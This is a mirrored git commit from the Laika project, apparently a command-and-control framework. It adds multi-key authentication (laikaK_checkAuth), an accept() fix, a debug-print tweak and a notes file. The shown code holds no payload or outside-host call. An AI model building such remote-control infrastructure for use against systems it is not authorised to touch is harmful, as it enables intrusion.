1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-04 07:10:07 +00:00

Added config inis, key refactoring

- CNC can accept multiple different auth keys now
- laikaK_checkAuth() added
- shell defaults to using shell.ini config file
- CNC doesn't require a config file however it's highly recommended
This commit is contained in:
2022-04-05 23:57:37 -05:00
parent 00070d84ca
commit e228c98c80
16 changed files with 178 additions and 19 deletions

7
lib/NOTES.md Normal file
View File

@@ -0,0 +1,7 @@
There are some unused features and boilerplate. The unused files include:
- ltunnel.h
- ltunnel.c
- lbox.h
- lvm.h
These files can be safely removed from the library.

View File

@@ -10,4 +10,6 @@
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv);
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv);
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys);
#endif

View File

@@ -166,7 +166,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
/* read packet ID */
peer->pktID = laikaS_readByte(&peer->sock);
LAIKA_DEBUG("%s", laikaD_getPacketName(peer->pktID));
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket

View File

@@ -152,8 +152,8 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
}
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4) {
socklen_t addressSize;
struct sockaddr_in address;
socklen_t addressSize = sizeof(struct sockaddr_in);
sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize);
if (SOCKETINVALID(sock->sock))

View File

@@ -17,3 +17,17 @@ bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) {
return crypto_kx_keypair(outPub, outPriv) == 0;
}
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys) {
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */
int i;
/* check if key is in authKey list */
for (i = 0; i < keys; i++) {
if (sodium_memcmp(pubKey, authKeys[i], crypto_kx_PUBLICKEYBYTES) == 0)
return true;
}
/* key not found */
return false;
}